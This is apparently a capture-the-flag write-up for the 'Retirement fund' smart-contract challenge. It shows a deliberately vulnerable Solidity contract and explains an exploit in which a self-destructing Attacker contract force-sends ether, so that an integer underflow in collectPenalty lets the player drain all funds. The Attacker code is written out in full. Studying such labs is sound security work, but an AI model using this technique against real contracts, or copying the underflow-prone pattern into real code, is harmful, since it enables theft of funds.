Retirement fund
pragma solidity ^0.4.21;
contract RetirementFundChallenge {
uint256 startBalance;
address owner = msg.sender;
address beneficiary;
uint256 expiration = now + 10 years;
function RetirementFundChallenge(address player) public payable {
require(msg.value == 1 ether);
beneficiary = player;
startBalance = msg.value;
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function withdraw() public {
require(msg.sender == owner);
if (now < expiration) {
// early withdrawal incurs a 10% penalty
msg.sender.transfer(address(this).balance * 9 / 10);
} else {
msg.sender.transfer(address(this).balance);
}
}
function collectPenalty() public {
require(msg.sender == beneficiary);
uint256 withdrawn = startBalance - address(this).balance;
// an early withdrawal occurred
require(withdrawn > 0);
// penalty is what's left
msg.sender.transfer(address(this).balance);
}
}
Goal
Withdraw all the ETH from the smart contract
Exploit
In order to finish this CTF we will have to use another smart contract. We can name this contract Attacker.
We will sefdestruct the Attacker contract and send the ether in the Attacker to the RetirementFundChallenge contract.
This will cause the following calculation to underflow:
uint256 withdrawn = startBalance - address(this).balance;
and calling collectPenalty() will allow us to withdraw all the funds from RetirementFundChallenge contract
To exploit the contract we need to:
- create Attacker contract, and send the address of the RetirementFundChallenge contract inside the Attacker contract, make the contructor payable and send some ETH to on Attacker creation (0.0001 eth for example)
- create attack() external function inside Attacker, and call the selfdestruct() function with the address of the RetirementFundChallenge as argument
- call collectPenalty() from RetirementFundChallenge contract
Attacker contract code
contract Attacker {
address private fund;
function Attacker(address _fund) public payable {
fund = _fund;
}
function attack() external {
selfdestruct(fund);
}
}